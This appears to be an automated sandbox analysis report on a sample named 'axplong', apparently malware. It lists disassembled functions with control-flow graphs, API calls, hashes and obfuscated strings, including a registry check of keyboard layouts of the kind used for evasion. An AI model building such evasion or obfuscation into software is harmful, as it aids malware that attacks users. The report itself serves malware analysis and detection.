                        • API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
                        • String ID: 5F6$ 6F9fr==$ JB6$ mP=$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$stoi argument out of range
                        • API String ID: 2414744145-1662704651
                        • Opcode ID: 59122ff5e75c6425006e1677f155552bf63c08e45b65492b494481140f8607ea
                        • Instruction ID: 39ac44483ce556640f5f612605a00bf94db8210d94b452b40149b55f5e9592a2
                        • Opcode Fuzzy Hash: 59122ff5e75c6425006e1677f155552bf63c08e45b65492b494481140f8607ea
                        • Instruction Fuzzy Hash: E72315719002649BEB19DB28ED4579DBBB2DF91308F5481D8E048A72C6EB359FC48FB1
                        Function 00D15DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364COMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 915 d15df0-d15eee 921 d15ef0-d15efc 915->921 922 d15f18-d15f25 call d2cf21 915->922 923 d15f0e-d15f15 call d2d593 921->923 924 d15efe-d15f0c 921->924 923->922 924->923 926 d15f26-d160ad call d46b9a call d2e080 call d27f30 * 5 RegOpenKeyExA 924->926 944 d160b3-d16143 call d44020 926->944 945 d16478-d16481 926->945 971 d16466-d16472 944->971 972 d16149-d1614d 944->972 946 d16483-d1648e 945->946 947 d164ae-d164b7 945->947 950 d16490-d1649e 946->950 951 d164a4-d164ab call d2d593 946->951 952 d164e4-d164ed 947->952 953 d164b9-d164c4 947->953 950->951 956 d1659e-d165a3 call d46b9a 950->956 951->947 954 d1651a-d16523 952->954 955 d164ef-d164fa 952->955 958 d164c6-d164d4 953->958 959 d164da-d164e1 call d2d593 953->959 965 d16525-d16530 954->965 966 d1654c-d16555 954->966 962 d16510-d16517 call d2d593 955->962 963 d164fc-d1650a 955->963 958->956 958->959 959->952 962->954 963->956 963->962 975 d16542-d16549 call d2d593 965->975 976 d16532-d16540 965->976 968 d16582-d1659d call d2cf21 966->968 969 d16557-d16566 966->969 977 d16578-d1657f call d2d593 969->977 978 d16568-d16576 969->978 971->945 979 d16460 972->979 980 d16153-d16187 RegEnumValueW 972->980 975->966 976->956 976->975 977->968 978->956 978->977 979->971 985 d1644d-d16454 980->985 986 d1618d-d161ad 980->986 985->980 990 d1645a 985->990 992 d161b0-d161b9 986->992 990->979 992->992 993 d161bb-d1624d call d27c50 call d28090 call d27870 * 2 call d15c60 992->993 993->985
                        Strings
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
                        • API String ID: 0-3963862150
                        • Opcode ID: 97e646f04fa79b0992d0f9da899783dd93efa463bcbadfbfd7a37576848f552a
                        • Instruction ID: 3c2248a4db941be616228b8ade74dc61ba7c28f39d08d9f52d98d4e19ba990d1
                        • Opcode Fuzzy Hash: 97e646f04fa79b0992d0f9da899783dd93efa463bcbadfbfd7a37576848f552a
                        • Instruction Fuzzy Hash: 4BE18D71904228AFEB24DF94DC89BDDB7B9EB14304F5042D9E409A7291DB74ABC48F61
                        Function 00D17D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392COMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1003 d17d00-d17d82 call d44020 1007 d17d88-d17db0 call d27870 call d15b20 1003->1007 1008 d1827e-d1829b call d2cf21 1003->1008 1015 d17db2 1007->1015 1016 d17db4-d17dd6 call d27870 call d15b20 1007->1016 1015->1016 1021 d17dd8 1016->1021 1022 d17dda-d17df3 1016->1022 1021->1022 1025 d17df5-d17e04 1022->1025 1026 d17e24-d17e4f 1022->1026 1029 d17e06-d17e14 1025->1029 1030 d17e1a-d17e21 call d2d593 1025->1030 1027 d17e51-d17e60 1026->1027 1028 d17e80-d17ea1 1026->1028 1031 d17e62-d17e70 1027->1031 1032 d17e76-d17e7d call d2d593 1027->1032 1033 d17ea3-d17ea5 GetNativeSystemInfo 1028->1033 1034 d17ea7-d17eac 1028->1034 1029->1030 1035 d1829c call d46b9a 1029->1035 1030->1026 1031->1032 1031->1035 1032->1028 1040 d17ead-d17eb6 1033->1040 1034->1040 1041 d182a1-d182a6 call d46b9a 1035->1041 1044 d17ed4-d17ed7 1040->1044 1045 d17eb8-d17ebf 1040->1045 1046 d17edd-d17ee6 1044->1046 1047 d1821f-d18222 1044->1047 1049 d17ec5-d17ecf 1045->1049 1050 d18279 1045->1050 1051 d17ef9-d17efc 1046->1051 1052 d17ee8-d17ef4 1046->1052 1047->1050 1053 d18224-d1822d 1047->1053 1055 d18274 1049->1055 1050->1008 1056 d17f02-d17f09 1051->1056 1057 d181fc-d181fe 1051->1057 1052->1055 1058 d18254-d18257 1053->1058 1059 d1822f-d18233 1053->1059 1055->1050 1060 d17fe9-d181e5 call d27870 call d15b20 call d27870 call d15b20 call d15c60 call d27870 call d15b20 call d15640 call d27870 call d15b20 call d27870 call d15b20 call d15c60 call d27870 call d15b20 call d15640 call d27870 call d15b20 call d27870 call d15b20 call d15c60 call d27870 call d15b20 call d15640 1056->1060 1061 d17f0f-d17f6b call d27870 call d15b20 call d27870 call d15b20 call d15c60 1056->1061 1066 d18200-d1820a 1057->1066 1067 d1820c-d1820f 1057->1067 1064 d18265-d18271 1058->1064 1065 d18259-d18263 1058->1065 1062 d18235-d1823a 1059->1062 1063 d18248-d18252 1059->1063 1102 d181eb-d181f4 1060->1102 1089 d17f70-d17f77 1061->1089 1062->1063 1070 d1823c-d18246 1062->1070 1063->1050 1064->1055 1065->1050 1066->1055 1067->1050 1068 d18211-d1821d 1067->1068 1068->1055 1070->1050 1091 d17f79 1089->1091 1092 d17f7b-d17f9b call d48a81 1089->1092 1091->1092 1097 d17fd2-d17fd4 1092->1097 1098 d17f9d-d17fac 1092->1098 1097->1102 1103 d17fda-d17fe4 1097->1103 1100 d17fc2-d17fcf call d2d593 1098->1100 1101 d17fae-d17fbc 1098->1101 1100->1097 1101->1041 1101->1100 1102->1047 1107 d181f6 1102->1107 1103->1102 1107->1057
                        APIs
                        • GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D17EA3
                        Strings
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID: InfoNativeSystem
                        • String ID: JmpxQb==$JmpxRL==$JmpyPb==
                        • API String ID: 1721193555-2057465332
                        • Opcode ID: 0457425d9c51dc32e6f03150d46c830e44e67c4540be26c72c1bf4547614cfcb
                        • Instruction ID: 0a8d2b60532558677bd9470d55ff73df70398546abdbc55d619e668bfb300476
                        • Opcode Fuzzy Hash: 0457425d9c51dc32e6f03150d46c830e44e67c4540be26c72c1bf4547614cfcb
                        • Instruction Fuzzy Hash: 2DD1E870E04614ABDB14EB28ED463DD7671EB82314F544288E455A73D2EF354EC49BF2
                        Function 00D46E01 Relevance: 4.6, APIs: 3, Instructions: 145COMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1141 d46e01-d46e36 GetFileType 1142 d46e3c-d46e47 1141->1142 1143 d46eee-d46ef1 1141->1143 1144 d46e69-d46e85 call d44020 GetFileInformationByHandle 1142->1144 1145 d46e49-d46e5a call d47177 1142->1145 1146 d46ef3-d46ef6 1143->1146 1147 d46f1a-d46f42 1143->1147 1157 d46f0b-d46f18 call d4740d 1144->1157 1162 d46e8b-d46ecd call d470c9 call d46f71 * 3 1144->1162 1159 d46f07-d46f09 1145->1159 1160 d46e60-d46e67 1145->1160 1146->1147 1152 d46ef8-d46efa 1146->1152 1148 d46f44-d46f57 1147->1148 1149 d46f5f-d46f61 1147->1149 1148->1149 1164 d46f59-d46f5c 1148->1164 1154 d46f62-d46f70 call d2cf21 1149->1154 1156 d46efc-d46f01 call d47443 1152->1156 1152->1157 1156->1159 1157->1159 1159->1154 1160->1144 1177 d46ed2-d46eea call d47096 1162->1177 1164->1149 1177->1149 1180 d46eec 1177->1180 1180->1159
                        APIs
                        • GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 00D46E23
                        • GetFileInformationByHandle.KERNELBASE(?,?), ref: 00D46E7D
                        • __dosmaperr.LIBCMT ref: 00D46F12
                          • Part of subcall function 00D47177: __dosmaperr.LIBCMT ref: 00D471AC
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID: File__dosmaperr$HandleInformationType
                        • String ID:
                        • API String ID: 2531987475-0
                        • Opcode ID: 490851a10c51b2b58d7af5c3d55c8ee34b46bda14c360610f412d5c05c2621f9
                        • Instruction ID: 772c9221ff323b262c002f2d2830b7d1daa379bc847f2ed281ea1ff8ab5f23ab
                        • Opcode Fuzzy Hash: 490851a10c51b2b58d7af5c3d55c8ee34b46bda14c360610f412d5c05c2621f9
                        • Instruction Fuzzy Hash: 1D414C75900644ABDB24DFB5E8419AFBBF9EF89300B14452DF996D3211EB30E909CB71
                        Function 00D182B0 Relevance: 1.7, APIs: 1, Instructions: 159COMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1299 d182b0-d18331 call d44020 1303 d18333-d18338 1299->1303 1304 d1833d-d18365 call d27870 call d15b20 1299->1304 1305 d1847f-d1849b call d2cf21 1303->1305 1312 d18367 1304->1312 1313 d18369-d1838b call d27870 call d15b20 1304->1313 1312->1313 1318 d1838d 1313->1318 1319 d1838f-d183a8 1313->1319 1318->1319 1322 d183d9-d18404 1319->1322 1323 d183aa-d183b9 1319->1323 1326 d18431-d18452 1322->1326 1327 d18406-d18415 1322->1327 1324 d183bb-d183c9 1323->1324 1325 d183cf-d183d6 call d2d593 1323->1325 1324->1325 1330 d1849c-d184a1 call d46b9a 1324->1330 1325->1322 1328 d18454-d18456 GetNativeSystemInfo 1326->1328 1329 d18458-d1845d 1326->1329 1332 d18427-d1842e call d2d593 1327->1332 1333 d18417-d18425 1327->1333 1334 d1845e-d18465 1328->1334 1329->1334 1332->1326 1333->1330 1333->1332 1334->1305 1339 d18467-d1846f 1334->1339 1342 d18471-d18476 1339->1342 1343 d18478-d1847b 1339->1343 1342->1305 1343->1305 1344 d1847d 1343->1344 1344->1305
                        APIs
                        • GetNativeSystemInfo.KERNELBASE(?), ref: 00D18454
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID: InfoNativeSystem
                        • String ID:
                        • API String ID: 1721193555-0
                        • Opcode ID: db327e34a941dae24672ee4a63bb3fc8c2940480b56cd181550b763212ab8cd0
                        • Instruction ID: 4e8372692b29de0db833e007e09f81a9904c44f8b84e4e1e732971db76979819
                        • Opcode Fuzzy Hash: db327e34a941dae24672ee4a63bb3fc8c2940480b56cd181550b763212ab8cd0
                        • Instruction Fuzzy Hash: 80513970D04218ABEB24EF68ED457EEB776DB45314F504298E818A72D1EF349EC09BB1
                        Function 00D46C99 Relevance: 1.6, APIs: 1, Instructions: 89COMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1345 d46c99-d46ca5 1346 d46cc4-d46ce8 call d44020 1345->1346 1347 d46ca7-d46cc3 call d47430 call d47443 call d46b8a 1345->1347 1352 d46d06-d46d28 CreateFileW 1346->1352 1353 d46cea-d46d04 call d47430 call d47443 call d46b8a 1346->1353 1356 d46d38-d46d3f call d46d77 1352->1356 1357 d46d2a-d46d2e call d46e01 1352->1357 1377 d46d72-d46d76 1353->1377 1367 d46d40-d46d42 1356->1367 1364 d46d33-d46d36 1357->1364 1364->1367 1369 d46d64-d46d67 1367->1369 1370 d46d44-d46d61 call d44020 1367->1370 1373 d46d70 1369->1373 1374 d46d69-d46d6f 1369->1374 1370->1369 1373->1377 1374->1373
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: cac54f4f36c3848d2a8ac401313180c7dc01f8b17b4631d5533cdb6dee32914b
                        • Instruction ID: a202672a992c7f104ee5e4a9bae04dc32fb90188fa41ce2273e2cddc4f0a353c
                        • Opcode Fuzzy Hash: cac54f4f36c3848d2a8ac401313180c7dc01f8b17b4631d5533cdb6dee32914b
                        • Instruction Fuzzy Hash: F421D372A01208ABEB116B649C42BAE3729DF42779F244310F9253B1D1DB70DE0696B2
                        Function 00D46F71 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1379 d46f71-d46f87 1380 d46f97-d46fa7 1379->1380 1381 d46f89-d46f8d 1379->1381 1385 d46fe7-d46fea 1380->1385 1386 d46fa9-d46fbb SystemTimeToTzSpecificLocalTime 1380->1386 1381->1380 1382 d46f8f-d46f95 1381->1382 1383 d46fec-d46ff7 call d2cf21 1382->1383 1385->1383 1386->1385 1388 d46fbd-d46fdd call d46ff8 1386->1388 1391 d46fe2-d46fe5 1388->1391 1391->1383
                        APIs
                        • SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 00D46FB3
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID: Time$LocalSpecificSystem
                        • String ID:
                        • API String ID: 2574697306-0
                        • Opcode ID: ddcf204bfdd73135336118b0b3849fb3590107b9ad9a40a4c7760d1f210f3fe2
                        • Instruction ID: feb8b64a26b735c478dcb9dd042a8e8a55f5066383c50a66a31a7217fd006e77
                        • Opcode Fuzzy Hash: ddcf204bfdd73135336118b0b3849fb3590107b9ad9a40a4c7760d1f210f3fe2
                        • Instruction Fuzzy Hash: 4811ECB290020CABDB10DE95D941EDFB7BCAF09314F545266E556E6180EB30EB49CB72
                        Function 00D26AE0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        APIs
                        Memory Dump Source
                        • Source File: 00000007.00000002.2783357611.0000000000D11000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                        • Associated: 00000007.00000002.2783337288.0000000000D10000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783357611.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783489279.0000000000D79000.00000004.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000D7B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000F00000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000000FE6000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.0000000001015000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000101D000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2783515636.000000000102B000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785046737.000000000102C000.00000080.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785200571.00000000011D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                        • Associated: 00000007.00000002.2785225737.00000000011D2000.00000080.00000001.01000000.00000007.sdmpDownload File
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_d10000_axplong.jbxd
                        Yara matches
                        Similarity
                        • API ID: Sleep
                        • String ID:
                        • API String ID: 3472027048-0
                        • Opcode ID: 3440b1850903db564eff2417ecf6fb69fb6818bdec1422487ec7efa3bfa4a512
                        • Instruction ID: ee0f6f602dea61777d3d15c7c952390df76a23c11730ee410f1349a70ff7440a
                        • Opcode Fuzzy Hash: 3440b1850903db564eff2417ecf6fb69fb6818bdec1422487ec7efa3bfa4a512
                        • Instruction Fuzzy Hash: B9F0F471E00614BBC710BB68ED07B5EBB75EB56724F800348E825673E1EB345A048BF2
                        Function 04F30D7B Relevance: .1, Instructions: 71COMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1496 4f30d7b-4f30dd2 1500 4f30dd8-4f30e42 call 4f30e44 1496->1500
                        Memory Dump Source
                        • Source File: 00000007.00000002.2786865143.0000000004F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_4f30000_axplong.jbxd
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 66bdff31b4c9dbb366849880c181f41bc61020cc657151ec46556b8972683084
                        • Instruction ID: 62b19867910cc8df0bc791678f7105ec371f584c02a426d8a1884c342f2f4110
                        • Opcode Fuzzy Hash: 66bdff31b4c9dbb366849880c181f41bc61020cc657151ec46556b8972683084
                        • Instruction Fuzzy Hash: 78F04FFB34C1157EB10191967F14EFB67ADE1C47313B1C92BF442C5809EA992A8F6532
                        Function 04F30D84 Relevance: .1, Instructions: 67COMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 1507 4f30d84-4f30dd2 1510 4f30dd8-4f30e42 call 4f30e44 1507->1510
                        Memory Dump Source
                        • Source File: 00000007.00000002.2786865143.0000000004F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_4f30000_axplong.jbxd
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: a07183caf8b6beba8f223a63a7e87893bb17a54274a85b4ac3c80d1667dcadbe
                        • Instruction ID: 8aecde8976ae78493652ce5ded3c0a2416877956607300f0749fdaa1c3405c7e
                        • Opcode Fuzzy Hash: a07183caf8b6beba8f223a63a7e87893bb17a54274a85b4ac3c80d1667dcadbe
                        • Instruction Fuzzy Hash: 19F037EB358115BEB10195866F14AFB67ADE2D0731370C92BF442C540AEA992A8A6632
                        Function 04F30D8D Relevance: .1, Instructions: 67COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 00000007.00000002.2786865143.0000000004F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_4f30000_axplong.jbxd
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 93add4f5d704103a8d88289835ba6931a6d9c2b4e6d703d9562de500c4c4b2d2
                        • Instruction ID: 14f5e967ec1530f73a3fdb8eebd81a63b3c4b4711757ee050c76f806feb2a0f9
                        • Opcode Fuzzy Hash: 93add4f5d704103a8d88289835ba6931a6d9c2b4e6d703d9562de500c4c4b2d2
                        • Instruction Fuzzy Hash: FEF06DFB34C1157EB101A1827F14AFB27ADE2C1731330C82BF442C440AEA992A8F6032
                        Function 04F30DA2 Relevance: .1, Instructions: 66COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 00000007.00000002.2786865143.0000000004F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_4f30000_axplong.jbxd
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 404ba325962792a28c0d5e9d2e85e0b72ce3226aa81bd480c4127563066d929e
                        • Instruction ID: 0dea386a0afef8099cc521a9b5ddefe8b5a95cc577111e35af69c3211403e26b
                        • Opcode Fuzzy Hash: 404ba325962792a28c0d5e9d2e85e0b72ce3226aa81bd480c4127563066d929e
                        • Instruction Fuzzy Hash: 96F090FB34D1157EB10191827F14AFB27ADE2C0331330C82BF842C4806EB981A8F6032
                        Function 04F30DC4 Relevance: .1, Instructions: 55COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 00000007.00000002.2786865143.0000000004F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F30000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_7_2_4f30000_axplong.jbxd
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 1dc63796b67b07997d56b4132387eff3d923b63a511167391ab85672cf8e9c5d
                        • Instruction ID: 7733dda0a1b3786428da23653decea320d5759a87c0c7c036db994359f2f71a0
                        • Opcode Fuzzy Hash: 1dc63796b67b07997d56b4132387eff3d923b63a511167391ab85672cf8e9c5d
                        • Instruction Fuzzy Hash: 1CF0E9FB3481157DB201A1956F14EFB676DD1C5731370C83BF802C6845E6950D4A2071

                        Non-executed Functions

